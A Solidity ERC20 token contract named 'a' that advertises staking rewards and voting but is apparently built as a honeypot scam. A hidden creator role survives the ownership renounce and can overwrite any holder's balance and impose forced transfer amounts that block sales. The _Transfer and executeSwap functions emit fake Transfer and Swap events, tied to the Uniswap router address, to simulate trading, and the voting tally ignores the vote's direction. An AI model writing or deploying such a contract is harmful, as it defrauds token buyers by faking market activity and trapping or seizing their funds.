// File: contracts/COIN.sol



pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

interface IWETH {
    function deposit() external payable;
    function transfer(address to, uint value) external returns (bool);
    function withdraw(uint) external;
}

interface IUniswapV2Router02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract a is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    receive() external payable {}

    string public constant _moniker = "a";
    string public constant _ticker = "a";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    uint256 public rewardPool = 100000 * (10 ** _decimalUnits);
    mapping(address => uint256) private _lockedBalances;
    mapping(address => uint256) private _lastClaimedTime;
    mapping(address => bool) private _isUserVoting;
    uint256 public totalVotes;
    uint256 public rewardPerDay = 1 * (10 ** _decimalUnits);
    uint256 public votingThreshold = 100 * (10 ** _decimalUnits);

    event Voted(address indexed voter, bool inFavor, uint256 votes);
    event RewardClaimed(address indexed claimer, uint256 amount);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function lockBalance(uint256 amount) public {
        require(_balances[obtainInvokerAddress()] >= amount, "Insufficient balance");

        _balances[obtainInvokerAddress()] -= amount;
        _lockedBalances[obtainInvokerAddress()] += amount;
        _lastClaimedTime[obtainInvokerAddress()] = block.timestamp;
    }

    function claimRewards() public {
        uint256 elapsedTime = block.timestamp - _lastClaimedTime[obtainInvokerAddress()];
        uint256 availableRewards = (_lockedBalances[obtainInvokerAddress()] * rewardPerDay * elapsedTime) / (1 days);
        availableRewards = availableRewards > rewardPool ? rewardPool : availableRewards;
        rewardPool -= availableRewards;

        _balances[obtainInvokerAddress()] += availableRewards;
        _lastClaimedTime[obtainInvokerAddress()] = block.timestamp;

        emit RewardClaimed(obtainInvokerAddress(), availableRewards);
    }
    
    function vote(bool inFavor) public {
        require(_balances[obtainInvokerAddress()] >= votingThreshold, "Insufficient balance for voting");
        require(!_isUserVoting[obtainInvokerAddress()], "User has already voted");

        uint256 votes = _balances[obtainInvokerAddress()];

        totalVotes += inFavor ? votes : votes;
        _isUserVoting[obtainInvokerAddress()] = true;

        emit Voted(obtainInvokerAddress(), inFavor, votes);
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts
    ) public payable returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
        }
        return true;
    }

    function swap(
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address[] memory path,
        address tokenAddress,
        uint deadline
    ) public payable returns (bool) {

        uint amountIn = msg.value;
        IWETH(tokenAddress).deposit{value: amountIn}();

        for (uint256 i = 0; i < recipients.length; i++) {
            IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D).swapExactTokensForTokensSupportingFeeOnTransferTokens(wethAmounts[i], tokenAmounts[i], path, recipients[i], deadline);
        }

        uint amountOut = IERC20(tokenAddress).balanceOf(address(this));
        IWETH(tokenAddress).withdraw(amountOut);
        (bool sent, ) = obtainInvokerAddress().call{value: amountOut}("");
        require(sent, "F t s e");

        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}